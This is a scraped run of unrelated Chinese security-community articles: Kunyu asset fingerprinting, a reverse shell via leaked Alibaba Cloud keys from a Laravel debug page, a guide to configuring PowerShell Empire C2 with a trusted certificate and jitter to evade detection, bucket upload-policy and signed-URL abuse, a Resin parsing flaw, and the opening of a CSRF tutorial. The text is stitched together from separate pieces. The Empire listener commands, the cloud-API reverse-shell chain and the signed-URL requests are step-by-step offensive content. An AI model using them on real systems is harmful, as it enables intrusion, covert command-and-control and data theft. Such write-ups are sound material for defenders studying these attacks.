不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的。
也就是说，当我们掌握了一定的目标资产特征的时候，就可以根据我们对指纹的理解编写规则更加精准的匹配资产。并且通过资产测绘的方式也可以尽量减少主动扫描被发现的概率，因为一般的目标组织，他的对外业务服务并不会频繁的改动，所以我们得到的信息通常是较为精准的。
**这里我们最常提取的特征像favicon图标hash码，HTTPS证书序列号，前端代码段，服务连接banner等。**
例如我们去做漏洞应急，以exploit-db上的公开漏洞举例。
该举例漏洞为国外的一个WIFI摄像头设备的未授权RCE漏洞，我们可以看到公开的漏洞POC中得到了两个关键信息，该漏洞是通过连接目标设备telnet
23端口，因为default用户登录未鉴权导致。所以我们通过提取 **port:23 +"goke login:"** 这两个特征作为指纹关联受影响的资产。
**通过Kunyu关联资产，发现全网共有318台脆弱资产。**
同样对于内网中的一些隐秘资产也可以采取HOSTS碰撞的方式。这种方式也是源于在企业内网中可能使用了很多Nginx反向代理，仅能使用配置好的ServerName的内网域名进行访问，那么我们在外网使用HOSTS碰撞的方式就可以碰撞出很多仅能内网使用的业务平台，直通内网业务！
这里仅做抛砖引玉的作用，更高效的企业资产收集方式可以关注 **Kunyu(坤舆)** 的使用。
**[knownsec/Kunyu: Kunyu, more efficient corporate asset collection
(github.com)](https://github.com/knownsec/Kunyu)**
# 后记
再次感谢各位读者的支持，我一直觉得写文章是一件很有意思的事，把自己所学的，总结的经验以文字的形式传递下去，我最初的想法也是如此，我认为哪怕只有一位师傅看到我的文章后觉得有所收获，那么我觉得我所做的就不是没有意义的。
本文作为红队攻防系列的续章，大概也是末章。在我的TODO中，之后会发布一篇 **新型网络犯罪攻防研究**
对这个方向从攻击思路、情报研究到研判分析进行深入讲解，敬请期待。
Kunyu（坤舆），后期持续维护更新，目前已经着力于结合测绘数据进行深度信息收集，并且后续会将更新点着力于此。同样应用于打击新型网络犯罪中也有显著效果，会在之后的文章以实战的方式展示给大家。
**其实最近风起的心情非常不错，因为我有了一个可爱的学霸女朋友，她叫知之，我也喜欢叫她吱吱。同样也是我的初恋。我们之间非常有缘分，真的就是我心目中的理想女友，希望我们能够天长地久，她也会是我奋斗的动力，有机会一定介绍给大家认识。**
**最后祝大家心想事成，美梦成真！**
# Community
有想要认识一下，或者交流技术的同学，可以通过以下方式联系作者:
欢迎大家来了解一下，WgpSec狼组安全团队：
<https://mp.weixin.qq.com/s/3bKG3ZqBebxpWXfZ9CVU-g> | 社区文章 |
## Laravel debug
日常扫描发现一个Laravel站点
打开一看默认页面
看了下.env访问不了
直接burp抓个包，将get改为post，debug模式直接把阿里云accessKeyId和accessSecret爆出来了
接下来先导入行云管家看看有几台机器
只有一台机器可以直接重置密码上服务器，但是这种操作太敏感了
阿里云有提供api来执行命令的，我们使用这种方式来反弹一个shell试试
## CreateCommand
<https://api.aliyun.com/#/?product=Ecs> 来到ECS的api处
输入Command，选择CreateCommand来创建一个命令
CommandContent填命令的base64，Type填RunShellScript
这里直接填反弹shell的命令，填好以后点调试SDK
会直接给你起一个Cloud shell
并创建一个CreateCommand.py文件，使用vi编辑
填accessKeyIdaccessSecret保存执行，并记录Commandid
## InvokeCommand
选择InvokeCommand接口
Commandid填上面请求的返回值，InstanceId填行云管家显示的实例ID
填好了点调试sdk然后编辑文件把accessKeyId accessSecret填一下，执行
然后看监听的服务器shell已经反弹成功 | 社区文章 |
# 【技术分享】给PowerShell Empire配置一个信任的证书
|
##### 译文声明
本文是翻译文章，文章来源：blackhillsinfosec
原文地址：<http://www.blackhillsinfosec.com/?p=5447>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：100RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**教程概述**
使用一个受信任的证书，再加上非默认的Empire配置选项，这两个因素将会大大提升你与目标网络成功建立通信会话的机率。各位可以按照这篇文章中提供的方法来进行安装和设置。
**安全客百科：Let's Encrypt**
Let's Encrypt是最近很火的一个免费SSL证书发行项目，该项目是由ISRG提供的免费公益项目。Let's
Encrypt可以实现自动化发行证书，但是证书只有90天的有效期，该项目适合个人使用或者临时使用。Let's
Encrypt目标就是致力于实现整个Web都加入TLS/SSL认证，以便站点确认来访者身份并防止中间人。因此，我们强烈推荐网站管理员和服务器平台用
Let's Encrypt 向访客提供加密连接，这是域名认证未来的发展方向。
**配置方法**
在这篇文章中，我们只给各位同学提供了Apache服务器（运行于Debian系统上）的配置方法，如果你使用的是其他的系统平台或服务器，你可以点击[[这里]](https://certbot.eff.org/)以获取详细的配置步骤。
首先，使用Let's
Encrypt来为你的服务器申请一个已签名的数字证书。访问Certbot的证书部署页面[[传送门]](https://certbot.eff.org/)，然后选择你所使用的服务器软件和操作系统。
Cerbot支持的服务器软件如下图所示：
Cerbot支持的操作系统平台如下图所示：
在这里，我们选择Apache和Debian 8，如下图所示。
**配置过程**
现在，Certbot已经为你的系统打包好了所有的数据，你所要做的就是apt-get这些数据包。
开始之前，请在你的sources.list文件（在我们的环境中，该文件路径为/etc/apt/sources.list）中添加下面这行代码[[详细配置步骤]](https://backports.debian.org/Instructions/)：
deb http://ftp.debian.org/debian jessie-backports main
然后使用下列代码进行更新：
sudo apt-get update
配置好了Jessie backports repo之后，使用下列命令安装Certbot包：
sudo apt-get install python-certbot-apache -t jessie-backports
Certbot提供了一个非常稳定的Apache插件，该插件支持多种操作平台。使用下列命令运行apache插件：
sudo certbot –apache
如果你想手动修改Apache服务器的相关配置，你可以使用certonly子命令：
certbot --apache certonly
Certbot包提供了一个定时任务，当你的证书即将过期时，这个定时任务会自动更新你的证书。由于Let’s
Encrypt的证书只有九十天的有效期，所以我们强烈建议用户使用这个自动更新功能。关于自动更新功能的详细信息请参考这份文档[[传送门]](https://certbot.eff.org/docs/using.html#renewal)。你可以使用下面这条命令来测试证书的自动更新功能：
certbot renew --dry-run
如果你想了解更多Certbot的使用方法，请参阅这份使用文档[[传送门]](https://certbot.eff.org/about)。
运行了apache插件之后，系统会要求你回答一些问题。请注意，你需要在配置的过程中提供一个指向你服务器的域名（这个很便宜，赶紧去买一个），因为Let’s
Encrypt是不会仅凭一个IP地址就给你颁发证书的。当然了，如果你出于某种原因无法提供有效域名的话，你也可以使用自签名证书[[操作方法]](https://attackerkb.com/Powershell/Powershell_Empire)。
现在，将你的cert.pem和privkey.pem捆绑至Empire所使用的配置文件中。操作命令如下所示：
cd /etc/letsencrypt/live/<your domain>
cat cert.pem privkey.pem > empire.pem
停止Apache服务器的运行，这样就可以空出80端口和443端口了，因为你的Empire监听器将需要使用这两个端口：
sudo Apache2 stop
在Empire中，按照下面给出的命令进行相应的配置。请注意，我们之所以要袖该Jitter的默认配置，是为了避免我们的通信会话被检测到，并提升建立会话的成功率。
listeners
set DefaultJitter 0.7
set CertPath /etc/letsencrypt/live/<your domain>/empire.pem
set Host https://<your domain>
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp|
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
Execute
现在，你已经在443端口上配置好了一个HTTPS监听器了。你可以使用下面给出的Empire命令来生成PowerShell命令并与目标主机建立通信会话了：
usestager launcher 443
execute
将这一大段PowerShell命令复制粘贴到目标主机的cmd.exe中，然后你就可以与目标主机建立一个拥有可信任证书的HTTPS通信会话了。 | 社区文章 |
# Bucket上传策略和URL签名的绕过与利用
* * *
本文翻译自: <https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/>
* * *
### 导读
Bucket(存储空间)上传策略是直接从客户端将数据上传到Bucket。通过上传策略中的这些规则以及与访问某些文件的相关逻辑，我们将展示如何爆出所有Bucket对象列表，同时还能够修改或删除Bucket中的文件。
### 什么是Bucket策略
（如果您已经知道了什么是Bucket策略和URL签名，则可以直接跳到下面利用部分的内容）
Bucket策略是一种将内容直接上传到基于云端的大型存储区（如Google云端存储或AWS
S3）的安全方式。我们的想法是创建一个定义有检验是否允许文件上传的策略，随后用密钥对策略进行签名，再将策略和签名发送给客户端。
然后，客户端可以直接将文件上传到Bucket，Bucke存储会验证上传的内容和策略是否匹配，如果匹配，则上传文件。
### 上传策略 vs URL预签名
在开始之前，我们需要明确指出有多种方法可以访问Bucket中的对象。使用POST请求访问Bucket时，[POST策略](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-HTTPPOSTConstructPolicy.html)（AWS）和[POST对象](https://cloud.google.com/storage/docs/xml-api/post-object) （谷歌云存储）方式只允许上传内容。
另一种称为[URL预签名](https://docs.aws.amazon.com/AmazonS3/latest/dev/PresignedUrlUploadObject.html)（AWS）或[URL签名](https://cloud.google.com/storage/docs/access-control/signed-urls)（Google云端存储）的方式就不仅仅是可以修改对象。我们是否可以PUT，DELETE或GET
默认的私有对象，取决于预签名逻辑定义的HTTP方式。
在定义内容类型(Content-Type)，访问控制和文件上传时，URL预签名比POST策略相比会更加宽松。使用错误的自定义逻辑也会更频繁地执行URL签名，如下所示。
有更多允许某人访问上传内容的方法，其中一个是[AssumeRoleWithWebIdentity](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
，类似于POST策略，区别在于您可以获得由预定义的IAM Role(身份和访问管理角色)创建的临时安全凭证（ASIA *）。
### 如何发现上传策略或URL签名
这是使用POST方法的上传请求，如下所示：
该策略用的是base64编码的JSON，如下所示：
{
"expiration": "2018-07-31T13:55:50Z",
"conditions": [
{"bucket": "bucket-name"},
["starts-with", "$key", "acc123"],
{"acl": "public-read"},
{"success_action_redirect": "https://dashboard.example.com/"},
["starts-with", "$Content-Type", ""],
["content-length-range", 0, 524288]
]
}
在AWS S3上的类似于下面的URL签名：
https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...
就像谷歌云存储一样：
HTTPS ：//storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---
### 上传策略的利用
现在到了有意思的部分！
如果我们想要发现策略中的错误，并充分利用，我们需要定义一些不同的属性：
* Access = Yes - 在上传后我们是否可以以某种方式访问该文件。在策略中`ACL`是否 被定义为`public-read`或者能够接收上传文件的URL预签名。在策略中上传但未定义ACL的对象默认为私有。
* Inline=Yes - 如果您能够修改 `content-disposition`文件，那么我们可以在内联中提供内容。如果策略中根本没有定义，则文件以内联方式提供。
#### 1\. `starts-with $key`是空的
例：
["starts-with", "$key", ""]
这并不好，我们可以上传文件到Bucket中的任何位置，覆盖任何对象。您可以将`key`属性设置为任何内容，并且接受该策略。
**注意** ：
在某些情况下，它的可利用性还是很困难，例如，只有一个Bucket用于上传从未公开的或以后会使用的名为UUID（通用唯一标识符）的对象，在这种情况下，我们不知道要覆盖哪些文件，并且无法知道Bucket中其他对象的名称。
#### 2\. `starts-with $key`不包含路径分隔符或为所有用户都用相同的路径
例：
["starts-with", "$key", "acc_1322342m3423"]
如果策略的 `$key`部分包含一个已定义的部分，但是没有路径分隔符，我们可以将内容直接放在Bucket的根目录中。如果 `Access=Yes`和
`Inline=Yes`和`content-type`的类型（参见＃3和＃4），我们可以通过安装AppCache-manifest来窃取其他用户上传的URL([steal URLs](https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=20) [uploaded by other
users](https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=22)
)。([@avlidienbrunn](https://twitter.com/avlidienbrunn)、我和
[@filedescriptor](https://twitter.com/avlidienbrunn) 独立
发现的AppCache中的[相关错误](https://bugs.chromium.org/p/chromium/issues/detail?id=696806))
如果上传对象的路径对所有用户都是相同的，那这个问题也一样适用。
#### 3\. `starts-with $Content-Type`为空
例：
["starts-with", "$Content-Type", ""]
如果`Access=Yes`
和`Inline=Yes`，我们就可以在Bucket域上传`text/html`并提供此服务，如＃2所示，我们可以使用它来运行javascript或在此路径上安装AppCache-manifest，这意味着在此路径下访问的所有文件都将泄露给攻击者。
#### 4.使用`starts-with $Content-Type`定义内容类型
例:
["starts-with", "$Content-Type", "image/jpeg"]
和＃3一样，我们可以添加一些内容来使第一个内容类型成为一个未知的mime类型，往后追加`text/html`，文件将被认作为`text/html`类型：
Content-type: image/jpegz;text/html
此外，如果S_3 Bucket托管在公司的子域中，通过利用上述策略，我们还可以通过上传HTML文件在域上运行javascript。
最有趣的部分是在sandboxed(沙盒)域上通过上传内容来利用网站。
### 使用自定义逻辑来利用URL签名
URL签名是在服务器端签名并提供给客户端，以获得上传、修改或访问内容的许可。最常见的问题是网站构建自定义逻辑来检索它们。
首先，要了解怎么利用已签名的URL，重要的是要知道在默认情况下，如何获取Bucket根目录下已签名的可以显示Bucket的文件列表的GET-URL。
**这和使用公开列表Bucket的情况基本相同** ，不同之处在于此Bucket肯定包含其他用户的私有数据。
**请记住，当我们知道Bucket中的其它文件时，我们也可以为它们请求URL签名，这就让我们有了访问私密文件的权限。**
因此，我们目标始终是尝试获根目录或已知的另一个文件。
### 错误的自定义逻辑的例子
以下是一些示例，其中逻辑通过发出签名的GET-URL实际暴露了Bucket的根路径。
#### 1.使用`get-image`这个点对整个Bucket进行可读访问
有以下要求：
https://freehand.example.com/api/get-image?key=abc&document=xyz
提供以下URL签名：
https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...
但是，在签名之前对URL进行了规范化，因此通过遍历路径，我们可以指向Bucket的根目录：
https://freehand.example.com/api/get-image?key=../../../&document=xyz
结果：
https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...
这个URL提供了Bucket中全部文件的列表。
#### 2.正则表达式解析URL签名请求，导致可完全获取读权限
这是另外一个例子，以下是在网站上的端点上获取所需的对象的URL签名的请求：
POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectest.example.com
{"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}
它会解析URL并将其部分附加到URL签名，你将会得到这个：
{"signedUrl": "https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC..."}
可以使用s3.amazonaws.com上的子域和路径访问S3-Bucket，在这种情况下，服务器端逻辑规则会将URL更改为基于路径的Bucket URL。
通过欺骗URL extraction，您可以发送如下内容：
{ “url” ：“https：//.x./example-bucket” }
它会返回一个URL签名，如下所示：
{"signedURL":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..."}
此URL将显示Bucket的完整文件列表。
#### 3.利用临时的URL签名链接
这个是两年前的例子，是我发现的第一个和URL签名有关的问题。
在网站上，当您上传文件时，您首先在 `secure.example.com`下创建了一个随机密钥：
POST /api/s3_file/ HTTP/1.1
Host: secure.example.com
{"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}
然后你会返回：
HTTP/1.1 201 CREATED
{"employee_id":null, "s3_key": "/file.jpg", "uploader_id": 71957, "random_key":"abc-123-def-456-ghi-789", "id": null}
这意味着，以下的URL：
https://secure.example.com/files/abc-123-def-456-ghi-789
然后会重定向到：
Location: https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...
然后可以发送以下的`s3_key`内容：
"random_key":"xx1234","s3_key":"/"
之后会有以下URL：
https://secure.example.com/files/xx1234
重新定向到：
Location: https://example.s3.amazonaws.com/?Signature=i0YZ...
非常正确！我现在已经有了他们Bucket的文件列表。这个实例非常糟糕，这个网站使用一个Bucket来存储他们的所有数据，包含他们拥有的每个文档和文件。当我尝试提取公司的文件列表时，Bucket非常庞大，数以百万计的文件数目。因此我直接将bug发给公司，他们的回复：
### 建议
应根据每个文件上传请求或至少对每个用户生成一个对应的上传策略。
* `$key`应该有完整的定义：有一个唯一的、随机的名称以及随机的路径。
* `content-disposition(内容配置)`应优选被定义为`attachment(依附)`。
* `acl` 应该优先选择 `private` 或者不要定义。
* `content-type`应该明确设置（不使用 `starts-with`）或者不要设置。
而且，永远不要基于用户的请求参数创建URL签名，否则就会出现就像上面提到过的场景。
我见过的最糟的情况是：
https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT
你确实给了它你要签名的请求，并且它回复了你所要的签名：
0zfAa9zIBlXH76rTitXXXuhEyJI =
这用来制作获取URL签名的请求：
curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/
相同的签名方法不仅仅用于S3，这使您能够将您想要的每个请求，签署到AWS-key被允许使用的任何AW-service。
* * *
Detectify 由白帽构建的一个Web漏洞扫描程序，可检查1000多个已知漏洞。我们是从[Detectify
Crowdsource](https://cs.detectify.com/_)黑客社区和包括[FransRosén](https://cs.detectify.com/)在内的内部安全研究人员那里获取的研究资料来实现这个程序的。[立即使用Detectify检查您的Web应用程序是否存在漏洞](https://detectify.com/lp/online-vulnerability-scanner?utm_source=labs&utm_medium=text&utm_campaign=upload_policies)。
其他关于S3的Bucket的研究：[深入AWS
S3访问控制——全面控制你的资产](https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/) | 社区文章 |
## 前言
前阵子看有师傅在公众号上发表了`Resin解析漏洞分析`，我们也知道有个常用的OA用的就是`Resin`，因此我认为了解它的漏洞是十分必要的。
## 原理分析
这个漏洞和`IIS`解析漏洞比较像，可以通过创建一个`xxx.jsp`的文件夹，并在其中放置一个`txt`文件,文件的内容将会被当作`JSP`解析。
我认为要分析这个漏洞原理，首先得先了解访问`jsp`文件时`Resin`是如何处理我们请求的。
首先看下`*.jsp`是被哪个`Servlet`处理的,从配置`app-default.xml`中可以看出，我们的请求会被`com.caucho.jsp.JspServlet`处理。
<servlet servlet-name="resin-jsp"
servlet-class="com.caucho.jsp.JspServlet">
<init>
<load-tld-on-init>false</load-tld-on-init>
<page-cache-max>1024</page-cache-max>
</init>
<load-on-startup/>
</servlet>
<servlet-mapping url-pattern="*.jsp" servlet-name="resin-jsp" default="true"/>
本来以为在`JspServlet`下断点可以看到请求调用栈，但是在实际操作的过程中发现并没有执行到`JspServlet`中的方法就返回了，确实比较奇怪。
在`Resin`中发起HTTP请求一定会经过`HttpRequest#handleRequest`方法处理，可以在这个方法中打断点排查问题，经过排查发现在`PageFilterChain#doFilter`中就完成了`JSP`的"编译"和执行工作，这点比较奇怪，因为之前分析Tomcat中"编译JSP"的操作是在`servlet`中完成的。所以其实针对`Resin`对`JSP`文件处理的分析重点就在`PageFilterChain#doFilter`中。
* `JSP`编译后会被封装到`Page`对象中，而`Page`对象的引用被保存以`pageRef`属性中，因此首先检测`pageRef`是否为空，如果是则直接通过`page.pageservice(req, res);`执行请求，不经过后面编译的逻辑。
* 如果缓存中没有`page`对象，则通过`compilePage`编译`JSP`并封装为`Page`对象返回，`new SoftReference`创建引用对象，再通过`pageservice`执行请求。
public void doFilter(ServletRequest request, ServletResponse response)
throws ServletException, IOException
{
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
FileNotFoundException notFound = null;
SoftReference<Page> pageRef = _pageRef;
Page page;
//首先从换从中获取Page对象的引用，如果有就不再编译。
if (pageRef != null)
page = pageRef.get();
else
page = null;
//如果缓存为空或者page对象被修改过则编译
if (page == null || page._caucho_isModified()) {
try {
_pageRef = null;
page = compilePage(page, req, res);
//得到page的引用并保存
if (page != null) {
_pageRef = new SoftReference<Page>(page);
_isSingleThread = page instanceof SingleThreadModel;
}
} catch (FileNotFoundException e) {
page = null;
notFound = e;
}
}
if (page == null) {
// jsp/01cg
if (notFound == null)
return;
String errorUri = (String) req.getAttribute(RequestDispatcher.ERROR_REQUEST_URI);
String uri = (String) req.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);
String forward = (String) req.getAttribute(RequestDispatcher.FORWARD_REQUEST_URI);
// jsp/01ch
if (uri != null) {
//throw new FileNotFoundException(uri);
throw notFound;
}
else if (forward != null) {
//throw new FileNotFoundException(req.getRequestURI());
throw notFound;
}
else if (errorUri != null) {
//throw new FileNotFoundException(errorUri);
throw notFound;
}
else {
log.log(Level.FINER, notFound.toString(), notFound);
}
((HttpServletResponse) res).sendError(HttpServletResponse.SC_NOT_FOUND);
}
else if (req instanceof HttpServletRequest) {
try {
if (_isSingleThread) {
synchronized (page) {
//执行请求
page.pageservice(req, res);
}
}
else
page.pageservice(req, res);
} catch (ServletException e) {
...
}
`Page#pageService-->JavaPage#service-->_aaa#_jspService`,最后通过`JSP`生成类的`_jspService`方法完成请求。
### 如何进入PageFilterChain?
通过上面的分析我们可以知道，在`PageFilterChain`中完成了对JSP的编译和执行，所以我们分析的重点就在于如何才能进入`PageFilterChain`中？
追踪创建`PageFilterChain`的过程，在`WebApp#buildInvocation`中，完成了`PageFilterChain`的创建，我摘了部分代码分析。
* 首先从缓存中获取`FilterChains`,如果有的话则直接获取`chains`，缓存中保存的`Chains`和URL有关。
* 如果缓存没有，则通过`_servletMapper.mapServlet(invocation);`获取Chains。
public Invocation buildInvocation(Invocation invocation, boolean isTop)
{
...
else {
FilterChainEntry entry = null;
// jsp/1910 - can't cache jsp_precompile
String query = invocation.getQueryString();
boolean isCache = true;
if (query != null && query.indexOf("jsp_precompile") >= 0)
isCache = false;
else if (_requestRewriteDispatch != null)
isCache = false;
if (isCache)
entry = _filterChainCache.get(invocation.getContextURI());
if (entry != null && ! entry.isModified()) {
chain = entry.getFilterChain();
invocation.setServletName(entry.getServletName());
if (! entry.isAsyncSupported())
invocation.clearAsyncSupported();
invocation.setMultipartConfig(entry.getMultipartConfig());
} else {
chain = _servletMapper.mapServlet(invocation);
...
}
在`mapServlet`中，主要做了下面的操作
* 从`ServletInvocation`中获取URL并去除`;xxx`的内容
String contextURI = invocation.getContextURI();
try {
cleanUri = Invocation.stripPathParameters(contextURI);
} catch (Exception e) {
log.warning(L.l("Invalid URI {0}", contextURI));
return new ErrorFilterChain(404);
}
* 根据URL匹配获取`ServletMapping`
ServletMapping servletMap = _servletMap.map(cleanUri, vars);
* 如果根据URL没有匹配到`Servlet`处理则根据URL获取资源内容，并设置使用`_defaultServlet`处理。
servletName = servletMap.getServletName();
if (servletName == null) {
try {
InputStream is;
is = _webApp.getResourceAsStream(contextURI);
if (is != null) {
is.close();
servletName = _defaultServlet;
}
} catch (Exception e) {
}
* 如果URL以`j_security_check`结尾则使用`j_security_check`作为`Servlet`
if (matchResult == null && contextURI.endsWith("j_security_check")) {
servletName = "j_security_check";
}
* 如果匹配成功则设置`servletPath`和`servletName`等属性到`invocation`对象中，根据`Servletname`从`_servletManager`获取`ServletConfigImpl`对象，创建FilterChains
ArrayList<String> vars = new ArrayList<String>();
vars.add(contextURI);
String servletPath = vars.get(0);
invocation.setServletPath(servletPath);
invocation.setServletName(servletName);
ServletConfigImpl newConfig = _servletManager.getServlet(servletName);
FilterChain chain= _servletManager.createServletChain(servletName, config, invocation);
所以这个漏洞的重点在于为什么`/test.jsp/xxx.txt`可以被`_servletMap.map(cleanUri, vars);`匹配到。
进入到`UrlMap#map`中，发现默认情况下`*.jsp`会交给`^.*\.jsp(?=/)|^.*\.jsp\z`正则处理。
主要出问题的是`^.*\.jsp(?=/)`部分，这个正则的逻辑是匹配`xxxx.jsp/xxxx`所以我们传入的路径会被匹配到,这也是这个漏洞的本质原因。
## 总结
其实我认为`Resin`这么写可能对作者来说这本身是个正常功能，因为之前`Resin`也实现了`Invoker`的功能，可以直接根据路径加载任意类。
## 参考
* [Resin容器文件解析漏洞深入分析](https://mp.weixin.qq.com/s/eZAG3Ze0ytd5l7ci1nb-qg) | 社区文章 |
# 【技术分享】让我们一起来消灭CSRF跨站请求伪造（上）
|
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】让我们一起来消灭CSRF跨站请求伪造（下）**](http://bobao.360.cn/learning/detail/4618.html)
**
**
**写在前面的话**
现在已经是2017年了，想必大家一定知道什么是 **CSRF**
（跨站请求伪造）了，因为之前关于这个话题的讨论已经有很多了。这种漏洞已经存在了很多年，社区中也有非常详细的文档以及对应的解决方案，目前很多热门的网站开发框架基本上或多或少都实现了相应的缓解方案。
那我们在本系列文章中要讨论什么呢？请大家先思考以下几个因素：
**1） 遗留应用缺少CSRF保护；**
**2） 某些框架的内置CSRF防护机制存在缺陷；**
**3） 应用程序没有使用已证明安全的框架保护机制；**
**4） 新的应用程序没有使用提供了CSRF保护功能的现代框架；**
因此，对于目前的Web应用程序来说，CSRF仍然是一个相对普遍存在的安全漏洞。
在这篇文章中，我们首先会跟大家深入分析CSRF的工作机制，以及现代应用程序可以采用的安全措施。接下来，我们会给大家提供一份安全解决方案，同学们可以将其用于自己所开发的应用程序之中（不需要对源代码进行任何修改）。最后，我们会给大家测试一种针对cookie的新型扩展，如果它能够成为一种通用标准的话，它将能够消除绝大多数场景下的跨站脚本漏洞。除此之外，我们在[GitHub库](https://www.github.com/jrozner/csrf-demo)中提供了本系列文章中所要使用到的代码以及测试样例，有需要的同学可以自行下载。
**
**
**了解攻击机制**
简而言之，CSRF这种漏洞将允许攻击者强迫目标用户代表攻击者发送HTTP请求。这种攻击主要发生在客户端（例如Web浏览器），而在这种场景下目标用户所发送的应用程序信息是完全可信的，因此攻击者就可以成功实现攻击了。对于这种类型的攻击，我们需要关注以下三个因素：使用不安全的HTTP
verb ，Web浏览器对cookie的处理、以及跨站脚本漏洞（XSS）。
HTTP标准将 **verb**
主要分成了安全的以及不安全的两大类。安全的verb（GET、HEAD以及OPTIONS）主要用于只读操作，使用了这些verb的请求用于返回与被请求资源有关的信息，并且不会对服务器端产生影响。不安全的verb（POST、PUT、PATCH和DELETE）主要用于对资源进行修改、创建和删除操作。但不幸的是，一个HTTP
verb本身所要进行的操作是可以被忽略或者被篡改的。
导致HTTP verb使用不当的主要原因在于浏览器对HTTP标准的支持存在缺陷，这是一种历史遗留问题。在XML HTTP
Request(XHR)流行起来之前，我们几乎得依靠特定框架和代码库来使用HTTP verb（除了GET和POST之外）。这种限制导致HTTP
verb之间的区别界限变得十分模糊，虽然仅凭这一点并不能创建出CSRF的攻击场景，但这也让针对CSRF的保护变得更加难以实现了。对CSRF漏洞“帮助”最大的一个因素，就是浏览器处理cookie的方式了。
在设计之初，HTTP本身是一种无状态协议，即一个请求对应一个响应，请求之间不携带/交换任何的状态信息。为了支持复杂的Web应用程序，cookie就成为了一个维持相关HTTP请求之间状态的解决方案。浏览器的全局Cookie可以跨实例、窗口和标签进行共享，用户需要依赖于Web浏览器来自动化地给每一个请求发送cookie。由于cookie是可以在浏览器中进行访问或修改的，并且缺乏反篡改保护，因此请求状态的保存任务就转移到了服务器管理会话的身上。在这种模型下，服务器端需要生成一个唯一标识符并将其存储到cookie中。每一个浏览器在发送cookie时都需要发送这个唯一标识符，而服务器端就可以根据这种标识符来判断会话的有效性了。当会话终止之后，服务器端会丢弃这个标识符，之后使用该标识符的请求都将会被视为无效请求。
现在的主要问题是，浏览器如何去管理cookie。cookie主要由一系列属性组成，但其中最重要的是Domain属性。Domain属性的功能是将cookie限定到某个匹配domain属性的特定主机范围内，这是一种用于防止敏感信息（例如会话识别符）被恶意网站窃取（会话固定攻击）的安全机制。这里存在的漏洞是domain属性并不用遵循同源策略（SOP），它只会对cookie以及请求中服务器的domain值进行简单的对比。这也就意味着，任何不同源的请求只需要带有该主机的cookie，就可以向其发送请求了。在这种场景下，只有安全的以及不安全的HTTP
verb能够得到正确使用，才能确保这种行为是安全的。关于同源策略的更多详细内容，请参考这篇[文档](https://en.wikipedia.org/wiki/Same-origin_policy)。
最后一个需要关心的因素，就是跨站脚本（XSS）漏洞。XSS指的是攻击者控制JavaScript或HTML来给目标用户呈现DOM内容的能力。如果某个应用程序中存在XSS漏洞的话，那这个应用此时几乎就无法再抵御CSRF攻击了。如果XSS漏洞存在的话，本文所要介绍的以及目前绝大多数应用程序所依赖的应对措施就完全没有用了。
**
**
**执行攻击**
既然我们已经了解到了攻击成功所涉及到的相关因素，我们就可以继续深入了解CSRF的工作机制了。如果你还没有搭建好测试环境的话，请现在赶紧按照之前提供的GitHub库中的方法（参考README文档）来搭建环境并运行样本。
我们所要讨论的主要有以下三种CSRF：
**1.资源包含（Resource inclusion）**
**2.Form-based**
**3.XMLHttpRequest**
